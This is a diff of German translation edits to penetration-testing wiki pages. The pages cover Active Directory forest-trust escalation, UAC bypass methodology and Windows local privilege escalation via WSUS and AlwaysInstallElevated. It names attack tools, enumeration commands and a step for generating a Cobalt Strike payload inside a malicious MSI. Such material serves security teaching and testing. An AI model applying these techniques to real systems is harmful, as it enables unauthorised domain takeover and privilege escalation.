 - **Lokale Gruppenmitgliedschaft**: Prinzipale könnten zu lokalen Gruppen auf Maschinen hinzugefügt werden, wie der "Administratoren"-Gruppe auf einem Server, was ihnen erhebliche Kontrolle über diese Maschine gewährt.
-- **Mitgliedschaft in Gruppen der Fremddomäne**: Prinzipale können auch Mitglieder von Gruppen innerhalb der Fremddomäne sein. Die Wirksamkeit dieser Methode hängt jedoch von der Art der Vertrauensstellung und dem Umfang der Gruppe ab.
+- **Mitgliedschaft in Gruppen der Fremddomäne**: Prinzipale können auch Mitglieder von Gruppen innerhalb der Fremddomäne sein. Die Wirksamkeit dieser Methode hängt jedoch von der Art des Vertrauens und dem Umfang der Gruppe ab.
 - **Zugriffskontrolllisten (ACLs)**: Prinzipale könnten in einer **ACL** angegeben sein, insbesondere als Entitäten in **ACEs** innerhalb einer **DACL**, die ihnen Zugriff auf spezifische Ressourcen gewährt. Für diejenigen, die tiefer in die Mechanik von ACLs, DACLs und ACEs eintauchen möchten, ist das Whitepaper mit dem Titel “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” eine wertvolle Ressource.
 
-### Kind-zu-Eltern-Wald-Berechtigungseskalation
+### Kind-zu-Eltern-Waldprivilegieneskalation
 ```
 Get-DomainTrust
 
@@ -564,7 +564,7 @@ WhenCreated     : 2/19/2021 1:28:00 PM
 WhenChanged     : 2/19/2021 1:28:00 PM
 ```
 > [!WARNING]
-> Es gibt **2 vertrauenswürdige Schlüssel**, einen für _Child --> Parent_ und einen weiteren für _Parent_ --> _Child_.\
+> Es gibt **2 vertrauenswürdige Schlüssel**, einen für _Child --> Parent_ und einen anderen für _Parent_ --> _Child_.\
 > Sie können den aktuellen Schlüssel des aktuellen Domäne mit folgendem Befehl abrufen:
 >
 > ```bash
@@ -582,29 +582,29 @@ sid-history-injection.md
 
 #### Ausnutzen des beschreibbaren Configuration NC
 
-Das Verständnis, wie der Configuration Naming Context (NC) ausgenutzt werden kann, ist entscheidend. Der Configuration NC dient als zentrales Repository für Konfigurationsdaten in einer Active Directory (AD)-Umgebung. Diese Daten werden auf jeden Domain Controller (DC) innerhalb des Waldes repliziert, wobei beschreibbare DCs eine beschreibbare Kopie des Configuration NC führen. Um dies auszunutzen, muss man **SYSTEM-Rechte auf einem DC** haben, vorzugsweise auf einem Child DC.
+Das Verständnis, wie der Configuration Naming Context (NC) ausgenutzt werden kann, ist entscheidend. Der Configuration NC dient als zentrales Repository für Konfigurationsdaten in einer Active Directory (AD)-Umgebung. Diese Daten werden auf jeden Domain Controller (DC) innerhalb des Waldes repliziert, wobei beschreibbare DCs eine beschreibbare Kopie des Configuration NC führen. Um dies auszunutzen, muss man **SYSTEM-Berechtigungen auf einem DC** haben, vorzugsweise auf einem Child DC.
 
-**Link GPO zum Root DC-Standort**
+**GPO mit Root-DC-Standort verknüpfen**
 
-Der Sites-Container des Configuration NC enthält Informationen über alle domänenverbundenen Computerstandorte innerhalb des AD-Waldes. Durch das Arbeiten mit SYSTEM-Rechten auf einem DC können Angreifer GPOs mit den Root DC-Standorten verknüpfen. Diese Aktion könnte die Root-Domäne gefährden, indem die auf diese Standorte angewendeten Richtlinien manipuliert werden.
+Der Sites-Container des Configuration NC enthält Informationen über alle domänenverbundenen Computerstandorte innerhalb des AD-Waldes. Durch das Arbeiten mit SYSTEM-Berechtigungen auf einem DC können Angreifer GPOs mit den Root-DC-Standorten verknüpfen. Diese Aktion könnte die Root-Domäne gefährden, indem die auf diese Standorte angewendeten Richtlinien manipuliert werden.
 
 Für detaillierte Informationen könnte man die Forschung zu [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) erkunden.
 
-**Kompromittierung eines gMSA im Wald**
+**Jede gMSA im Wald kompromittieren**
 
-Ein Angriffsvektor besteht darin, privilegierte gMSAs innerhalb der Domäne ins Visier zu nehmen. Der KDS Root-Schlüssel, der für die Berechnung der gMSA-Passwörter erforderlich ist, wird im Configuration NC gespeichert. Mit SYSTEM-Rechten auf einem DC ist es möglich, auf den KDS Root-Schlüssel zuzugreifen und die Passwörter für jeden gMSA im Wald zu berechnen.
+Ein Angriffsvektor besteht darin, privilegierte gMSAs innerhalb der Domäne anzugreifen. Der KDS Root-Schlüssel, der für die Berechnung der gMSA-Passwörter erforderlich ist, wird im Configuration NC gespeichert. Mit SYSTEM-Berechtigungen auf einem DC ist es möglich, auf den KDS Root-Schlüssel zuzugreifen und die Passwörter für jede gMSA im Wald zu berechnen.
 
 Eine detaillierte Analyse findet sich in der Diskussion über [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
 
 **Schema-Änderungsangriff**
 
-Diese Methode erfordert Geduld, da auf die Erstellung neuer privilegierter AD-Objekte gewartet werden muss. Mit SYSTEM-Rechten kann ein Angreifer das AD-Schema ändern, um jedem Benutzer die vollständige Kontrolle über alle Klassen zu gewähren. Dies könnte zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
+Diese Methode erfordert Geduld, um die Erstellung neuer privilegierter AD-Objekte abzuwarten. Mit SYSTEM-Berechtigungen kann ein Angreifer das AD-Schema ändern, um einem Benutzer die vollständige Kontrolle über alle Klassen zu gewähren. Dies könnte zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
 
 Weiterführende Informationen sind verfügbar zu [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
 
 **Von DA zu EA mit ADCS ESC5**
 
-Die ADCS ESC5-Schwachstelle zielt darauf ab, die Kontrolle über Public Key Infrastructure (PKI)-Objekte zu erlangen, um eine Zertifikatvorlage zu erstellen, die die Authentifizierung als beliebiger Benutzer im Wald ermöglicht. Da PKI-Objekte im Configuration NC gespeichert sind, ermöglicht die Kompromittierung eines beschreibbaren Child DC die Durchführung von ESC5-Angriffen.
+Die ADCS ESC5-Schwachstelle zielt darauf ab, die Kontrolle über Public Key Infrastructure (PKI)-Objekte zu erlangen, um eine Zertifikatvorlage zu erstellen, die die Authentifizierung als beliebiger Benutzer im Wald ermöglicht. Da PKI-Objekte im Configuration NC gespeichert sind, ermöglicht das Kompromittieren eines beschreibbaren Child DC die Durchführung von ESC5-Angriffen.
 
 Weitere Details dazu können in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) nachgelesen werden. In Szenarien ohne ADCS hat der Angreifer die Möglichkeit, die erforderlichen Komponenten einzurichten, wie in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) besprochen.
 
@@ -625,7 +625,7 @@ In diesem Szenario **wird Ihre Domäne von einer externen vertraut** und gibt Ih
 external-forest-domain-oneway-inbound.md
 {{#endref}}
 
-### Externer Wald-Domäne - Einweg (Ausgehend)
+### Externe Walddomäne - Einweg (Ausgehend)
 ```powershell
 Get-DomainTrust -Domain current.local
 
@@ -639,7 +639,7 @@ WhenChanged     : 2/19/2021 10:15:24 PM
 ```
 In diesem Szenario **vertraut Ihre Domäne** einigen **Befugnissen** einem Principal aus **anderen Domänen**.
 
-Wenn jedoch eine **Domäne vertraut** wird von der vertrauenden Domäne, **erstellt die vertrauenswürdige Domäne einen Benutzer** mit einem **vorhersehbaren Namen**, der als **Passwort das vertrauenswürdige Passwort** verwendet. Das bedeutet, dass es möglich ist, **auf einen Benutzer aus der vertrauenden Domäne zuzugreifen, um in die vertrauenswürdige zu gelangen**, um sie zu enumerieren und zu versuchen, weitere Berechtigungen zu eskalieren:
+Wenn jedoch eine **Domäne vertraut** wird von der vertrauenden Domäne, erstellt die vertrauenswürdige Domäne **einen Benutzer** mit einem **vorhersehbaren Namen**, der als **Passwort das vertrauenswürdige Passwort** verwendet. Das bedeutet, dass es möglich ist, **auf einen Benutzer aus der vertrauenden Domäne zuzugreifen, um in die vertrauenswürdige zu gelangen**, um sie zu enumerieren und zu versuchen, weitere Berechtigungen zu eskalieren:
 
 {{#ref}}
 external-forest-domain-one-way-outbound.md
@@ -663,7 +663,7 @@ rdp-sessions-abuse.md
 
 ### **Selektive Authentifizierung:**
 
-- Bei inter-waldlichen Vertrauensstellungen stellt die Verwendung selektiver Authentifizierung sicher, dass Benutzer aus den beiden Wäldern nicht automatisch authentifiziert werden. Stattdessen sind explizite Berechtigungen erforderlich, damit Benutzer auf Domänen und Server innerhalb der vertrauenden Domäne oder des Waldes zugreifen können.
+- Bei inter-waldlichen Vertrauensstellungen stellt die Verwendung von selektiver Authentifizierung sicher, dass Benutzer aus den beiden Wäldern nicht automatisch authentifiziert werden. Stattdessen sind explizite Berechtigungen erforderlich, damit Benutzer auf Domänen und Server innerhalb der vertrauenden Domäne oder des Waldes zugreifen können.
 - Es ist wichtig zu beachten, dass diese Maßnahmen nicht vor der Ausnutzung des beschreibbaren Configuration Naming Context (NC) oder Angriffen auf das Vertrauenskonto schützen.
 
 [**Weitere Informationen zu Domänenvertrauten in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -4,7 +4,7 @@
 
 ## UAC
 
-[Benutzerkontensteuerung (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktivitäten** ermöglicht. Anwendungen haben unterschiedliche `integrity`-Stufen, und ein Programm mit einer **hohen Stufe** kann Aufgaben ausführen, die **das System potenziell gefährden könnten**. Wenn UAC aktiviert ist, werden Anwendungen und Aufgaben immer **unter dem Sicherheitskontext eines Nicht-Administrator-Kontos** ausgeführt, es sei denn, ein Administrator autorisiert diese Anwendungen/Aufgaben ausdrücklich, um Administratorzugriff auf das System zu erhalten. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, jedoch nicht als Sicherheitsgrenze betrachtet wird.
+[Benutzerkontensteuerung (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktivitäten** ermöglicht. Anwendungen haben unterschiedliche `integrity`-Level, und ein Programm mit einem **hohen Level** kann Aufgaben ausführen, die **das System potenziell gefährden könnten**. Wenn UAC aktiviert ist, werden Anwendungen und Aufgaben immer **unter dem Sicherheitskontext eines Nicht-Administrator-Kontos** ausgeführt, es sei denn, ein Administrator autorisiert diese Anwendungen/Aufgaben ausdrücklich, um Administratorzugriff auf das System zu erhalten. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, jedoch nicht als Sicherheitsgrenze betrachtet wird.
 
 Für weitere Informationen zu Integritätsstufen:
 
@@ -14,28 +14,28 @@ Für weitere Informationen zu Integritätsstufen:
 
 Wenn UAC aktiv ist, erhält ein Administratorkonto 2 Tokens: einen Standardbenutzer-Schlüssel, um reguläre Aktionen auf regulärem Niveau auszuführen, und einen mit Administratorrechten.
 
-Diese [Seite](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) behandelt, wie UAC im Detail funktioniert und umfasst den Anmeldeprozess, die Benutzererfahrung und die UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC spezifisch für ihre Organisation auf lokaler Ebene (unter Verwendung von secpol.msc) funktioniert oder über Gruppenrichtlinienobjekte (GPO) in einer Active Directory-Domänenumgebung konfiguriert und bereitgestellt werden. Die verschiedenen Einstellungen werden [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ausführlich behandelt. Es gibt 10 Gruppenrichtlinieneinstellungen, die für UAC festgelegt werden können. Die folgende Tabelle bietet zusätzliche Details:
+Diese [Seite](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) behandelt, wie UAC im Detail funktioniert und umfasst den Anmeldeprozess, die Benutzererfahrung und die UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC spezifisch für ihre Organisation auf lokaler Ebene (unter Verwendung von secpol.msc) funktioniert oder über Gruppenrichtlinienobjekte (GPO) in einer Active Directory-Domänenumgebung konfiguriert und bereitgestellt werden. Die verschiedenen Einstellungen werden im Detail [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) besprochen. Es gibt 10 Gruppenrichtlinieneinstellungen, die für UAC festgelegt werden können. Die folgende Tabelle bietet zusätzliche Details:
 
 | Gruppenrichtlinieneinstellung                                                                                                                                                                                                                                                                                                                                                           | Registrierungsschlüssel     | Standardeinstellung                                          |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ---------------------------------------------------------- |
-| [Benutzerkontensteuerung: Admin-Zulassungsmodus für das integrierte Administratorkonto](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Deaktiviert                                                |
+| [Benutzerkontensteuerung: Genehmigungsmodus für die integrierte Administrator-Konto](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Deaktiviert                                                |
 | [Benutzerkontensteuerung: UIAccess-Anwendungen erlauben, ohne Verwendung des sicheren Desktops zur Erhöhung aufzufordern](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Deaktiviert                                                |
-| [Benutzerkontensteuerung: Verhalten der Erhöhungsaufforderung für Administratoren im Admin-Zulassungsmodus](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Aufforderung zur Zustimmung für Nicht-Windows-Binärdateien |
+| [Benutzerkontensteuerung: Verhalten der Erhöhungsaufforderung für Administratoren im Genehmigungsmodus](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Aufforderung zur Zustimmung für Nicht-Windows-Binärdateien |
 | [Benutzerkontensteuerung: Verhalten der Erhöhungsaufforderung für Standardbenutzer](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Aufforderung zur Eingabe von Anmeldeinformationen auf dem sicheren Desktop |
 | [Benutzerkontensteuerung: Anwendung von Installationen erkennen und zur Erhöhung auffordern](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Aktiviert (Standard für Home) Deaktiviert (Standard für Enterprise) |
 | [Benutzerkontensteuerung: Nur ausführbare Dateien erhöhen, die signiert und validiert sind](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Deaktiviert                                                |
 | [Benutzerkontensteuerung: Nur UIAccess-Anwendungen erhöhen, die an sicheren Orten installiert sind](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Aktiviert                                                  |
-| [Benutzerkontensteuerung: Alle Administratoren im Admin-Zulassungsmodus ausführen](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Aktiviert                                                  |
+| [Benutzerkontensteuerung: Alle Administratoren im Genehmigungsmodus ausführen](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Aktiviert                                                  |
 | [Benutzerkontensteuerung: Zum sicheren Desktop wechseln, wenn zur Erhöhung aufgefordert wird](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Aktiviert                                                  |
 | [Benutzerkontensteuerung: Virtualisieren von Datei- und Registrierungsschreibfehlern auf benutzerspezifische Standorte](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Aktiviert                                                  |
 
 ### UAC Bypass-Theorie
 
-Einige Programme werden **automatisch erhöht**, wenn der **Benutzer zur** **Administratorgruppe gehört**. Diese Binärdateien haben in ihren _**Manifests**_ die _**autoElevate**_-Option mit dem Wert _**True**_. Die Binärdatei muss auch **von Microsoft signiert** sein.
+Einige Programme werden **automatisch erhöht**, wenn der **Benutzer zur** **Administratorgruppe** gehört. Diese Binärdateien haben in ihren _**Manifests**_ die _**autoElevate**_-Option mit dem Wert _**True**_. Die Binärdatei muss auch **von Microsoft signiert** sein.
 
-Um die **UAC** (von **mittlerer** Integritätsstufe **zu hoher** zu erhöhen) zu **umgehen**, verwenden einige Angreifer diese Art von Binärdateien, um **beliebigen Code auszuführen**, da er von einem **Prozess mit hoher Integritätsstufe** ausgeführt wird.
+Um die **UAC** (von **mittlerem** Integritätslevel **zu hohem** zu erhöhen) zu **umgehen**, verwenden einige Angreifer diese Art von Binärdateien, um **beliebigen Code auszuführen**, da er von einem **Prozess mit hohem Integritätslevel** ausgeführt wird.
 
-Sie können das _**Manifest**_ einer Binärdatei mit dem Tool _**sigcheck.exe**_ von Sysinternals **überprüfen**. Und Sie können die **Integritätsstufe** der Prozesse mit _Process Explorer_ oder _Process Monitor_ (von Sysinternals) **sehen**.
+Sie können das _**Manifest**_ einer Binärdatei mit dem Tool _**sigcheck.exe**_ von Sysinternals **überprüfen**. Und Sie können den **Integritätslevel** der Prozesse mit _Process Explorer_ oder _Process Monitor_ (von Sysinternals) **sehen**.
 
 ### UAC überprüfen
 
@@ -55,22 +55,22 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- Wenn **`0`**, wird UAC nicht auffordern (wie **deaktiviert**)
-- Wenn **`1`**, wird der Administrator **nach Benutzername und Passwort** gefragt, um die Binärdatei mit hohen Rechten auszuführen (auf Secure Desktop)
+- Wenn **`0`** dann wird UAC nicht auffordern (wie **deaktiviert**)
+- Wenn **`1`** wird der Administrator **nach Benutzername und Passwort** gefragt, um die Binärdatei mit hohen Rechten auszuführen (auf Secure Desktop)
 - Wenn **`2`** (**Immer benachrichtigen**) wird UAC immer um Bestätigung des Administrators bitten, wenn er versucht, etwas mit hohen Rechten auszuführen (auf Secure Desktop)
-- Wenn **`3`**, wie `1`, aber nicht unbedingt auf Secure Desktop
-- Wenn **`4`**, wie `2`, aber nicht unbedingt auf Secure Desktop
-- Wenn **`5`** (**Standard**) wird der Administrator gefragt, ob er bestätigen möchte, um nicht Windows-Binärdateien mit hohen Rechten auszuführen
+- Wenn **`3`** wie `1`, aber nicht unbedingt auf Secure Desktop
+- Wenn **`4`** wie `2`, aber nicht unbedingt auf Secure Desktop
+- wenn **`5`**(**Standard**) wird der Administrator um Bestätigung gebeten, um nicht Windows-Binärdateien mit hohen Rechten auszuführen
 
 Dann müssen Sie den Wert von **`LocalAccountTokenFilterPolicy`** überprüfen\
-Wenn der Wert **`0`** ist, kann nur der **RID 500** Benutzer (**eingebauter Administrator**) **Admin-Aufgaben ohne UAC** ausführen, und wenn er `1` ist, können **alle Konten in der Gruppe "Administratoren"** dies tun.
+Wenn der Wert **`0`** ist, kann nur der **RID 500** Benutzer (**eingebauter Administrator**) **Admin-Aufgaben ohne UAC** ausführen, und wenn es `1` ist, können **alle Konten in der Gruppe "Administratoren"** dies tun.
 
 Und schließlich überprüfen Sie den Wert des Schlüssels **`FilterAdministratorToken`**\
-Wenn **`0`** (Standard), kann das **eingebaute Administratorkonto** Remote-Administrationsaufgaben durchführen, und wenn **`1`**, kann das eingebaute Administratorkonto **nicht** Remote-Administrationsaufgaben durchführen, es sei denn, `LocalAccountTokenFilterPolicy` ist auf `1` gesetzt.
+Wenn **`0`** (Standard), kann das **eingebaute Administratorkonto** Remote-Administrationsaufgaben durchführen und wenn **`1`** das eingebaute Administratorkonto **kann** keine Remote-Administrationsaufgaben durchführen, es sei denn, `LocalAccountTokenFilterPolicy` ist auf `1` gesetzt.
 
 #### Zusammenfassung
 
-- Wenn `EnableLUA=0` oder **nicht vorhanden**, **kein UAC für niemanden**
+- Wenn `EnableLUA=0` oder **nicht existiert**, **kein UAC für niemanden**
 - Wenn `EnableLua=1` und **`LocalAccountTokenFilterPolicy=1`, kein UAC für niemanden**
 - Wenn `EnableLua=1` und **`LocalAccountTokenFilterPolicy=0` und `FilterAdministratorToken=0`, kein UAC für RID 500 (eingebauter Administrator)**
 - Wenn `EnableLua=1` und **`LocalAccountTokenFilterPolicy=0` und `FilterAdministratorToken=1`, UAC für alle**
@@ -85,7 +85,7 @@ whoami /groups | findstr Level
 ## UAC-Umgehung
 
 > [!NOTE]
-> Beachten Sie, dass die UAC-Umgehung einfach ist, wenn Sie grafischen Zugriff auf das Opfer haben, da Sie einfach auf "Ja" klicken können, wenn die UAC-Eingabeaufforderung erscheint.
+> Beachten Sie, dass die UAC-Umgehung einfach ist, wenn Sie grafischen Zugriff auf das Opfer haben, da Sie einfach auf "Ja" klicken können, wenn die UAC-Aufforderung erscheint.
 
 Die UAC-Umgehung ist in der folgenden Situation erforderlich: **die UAC ist aktiviert, Ihr Prozess läuft in einem Medium-Integritätskontext, und Ihr Benutzer gehört zur Administratorgruppe**.
 
@@ -166,7 +166,7 @@ Sie können eine **meterpreter**-Sitzung verwenden. Migrieren Sie zu einem **Pro
 
 Wenn Sie Zugriff auf eine **GUI haben, können Sie einfach die UAC-Aufforderung akzeptieren**, wenn Sie sie erhalten, Sie benötigen wirklich keine Umgehung. Der Zugriff auf eine GUI ermöglicht es Ihnen, die UAC zu umgehen.
 
-Darüber hinaus, wenn Sie eine GUI-Sitzung erhalten, die jemand verwendet hat (möglicherweise über RDP), gibt es **einige Tools, die als Administrator ausgeführt werden**, von denen aus Sie **cmd** beispielsweise **als Admin** direkt ausführen können, ohne erneut von UAC aufgefordert zu werden, wie [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Dies könnte etwas **stealthy** sein.
+Darüber hinaus, wenn Sie eine GUI-Sitzung erhalten, die jemand verwendet hat (möglicherweise über RDP), gibt es **einige Tools, die als Administrator ausgeführt werden**, von denen aus Sie beispielsweise **cmd** direkt **als Admin** ausführen können, ohne erneut von UAC aufgefordert zu werden, wie [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Dies könnte etwas **stealthy** sein.
 
 ### Lauter Brute-Force-UAC-Umgehung
 
@@ -174,7 +174,7 @@ Wenn es Ihnen nichts ausmacht, laut zu sein, könnten Sie immer **etwas wie** [*
 
 ### Ihre eigene Umgehung - Grundlegende UAC-Umgehungsmethodik
 
-Wenn Sie sich **UACME** ansehen, werden Sie feststellen, dass **die meisten UAC-Umgehungen eine Dll Hijacking-Sicherheitsanfälligkeit ausnutzen** (hauptsächlich das Schreiben der bösartigen dll in _C:\Windows\System32_). [Lesen Sie dies, um zu lernen, wie man eine Dll Hijacking-Sicherheitsanfälligkeit findet](../windows-local-privilege-escalation/dll-hijacking/).
+Wenn Sie sich **UACME** ansehen, werden Sie feststellen, dass **die meisten UAC-Umgehungen eine Dll Hijacking-Sicherheitsanfälligkeit ausnutzen** (hauptsächlich das Schreiben der bösartigen dll in _C:\Windows\System32_). [Lesen Sie dies, um zu erfahren, wie Sie eine Dll Hijacking-Sicherheitsanfälligkeit finden](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
 1. Finden Sie eine Binärdatei, die **autoelevate** (prüfen Sie, ob sie beim Ausführen auf einem hohen Integritätslevel läuft).
 2. Verwenden Sie procmon, um "**NAME NOT FOUND**"-Ereignisse zu finden, die anfällig für **DLL Hijacking** sein können.

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
 ```
 ### PowerShell **Script Block Logging**
 
-Ein vollständiger Aktivitäts- und Inhaltsnachweis der Ausführung des Skripts wird erfasst, wodurch sichergestellt wird, dass jeder Codeblock dokumentiert wird, während er ausgeführt wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für die Forensik und die Analyse bösartigen Verhaltens wertvoll ist. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Prozess bereitgestellt.
+Ein vollständiger Aktivitäts- und Inhaltsnachweis der Ausführung des Skripts wird erfasst, wodurch sichergestellt wird, dass jeder Codeblock dokumentiert wird, während er ausgeführt wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für die Forensik und die Analyse böswilligen Verhaltens wertvoll ist. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Prozess bereitgestellt.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 ```
-Die Protokollereignisse für den Script Block können im Windows-Ereignisanzeiger unter dem Pfad: **Anwendungs- und Dienstprotokolle > Microsoft > Windows > PowerShell > Betrieb** gefunden werden.\
+Die Protokollereignisse für das Script Block können im Windows-Ereignisanzeiger unter dem Pfad: **Anwendungs- und Dienstprotokolle > Microsoft > Windows > PowerShell > Betrieb** gefunden werden.\
 Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:
 ```bash
 Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@@ -158,7 +158,7 @@ Sie beginnen damit, zu überprüfen, ob das Netzwerk ein nicht-SSL WSUS-Update v
 ```
 reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
 ```
-Wenn Sie eine Antwort wie folgt erhalten:
+Wenn Sie eine Antwort erhalten wie:
 ```bash
 HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
 WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
@@ -167,7 +167,7 @@ Und wenn `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServ
 
 Dann ist **es ausnutzbar.** Wenn der letzte Registrierungseintrag gleich 0 ist, wird der WSUS-Eintrag ignoriert.
 
-Um diese Schwachstellen auszunutzen, können Sie Tools wie: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) verwenden - Dies sind MiTM-waffenfähige Exploit-Skripte, um 'falsche' Updates in nicht-SSL WSUS-Verkehr einzuspeisen.
+Um diese Schwachstellen auszunutzen, können Sie Tools wie: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) verwenden - dies sind MiTM-waffenfähige Exploit-Skripte, um 'falsche' Updates in nicht-SSL WSUS-Verkehr einzuschleusen.
 
 Lesen Sie die Forschung hier:
 
@@ -212,7 +212,7 @@ Verwenden Sie den Befehl `Write-UserAddMSI` von PowerUP, um im aktuellen Verzeic
 ```
 Write-UserAddMSI
 ```
-Führen Sie einfach die erstellte Binärdatei aus, um die Berechtigungen zu erhöhen.
+Führen Sie einfach die erstellte Binärdatei aus, um die Berechtigungen zu eskalieren.
 
 ### MSI Wrapper
 
@@ -231,11 +231,11 @@ create-msi-with-wix.md
 ### Erstellen Sie MSI mit Visual Studio
 
 - **Generieren** Sie mit Cobalt Strike oder Metasploit eine **neue Windows EXE TCP Payload** in `C:\privesc\beacon.exe`
-- Öffnen Sie **Visual Studio**, wählen Sie **Neues Projekt erstellen** und geben Sie "installer" in das Suchfeld ein. Wählen Sie das **Setup Wizard**-Projekt und klicken Sie auf **Weiter**.
+- Öffnen Sie **Visual Studio**, wählen Sie **Ein neues Projekt erstellen** und geben Sie "installer" in das Suchfeld ein. Wählen Sie das Projekt **Setup Wizard** und klicken Sie auf **Weiter**.
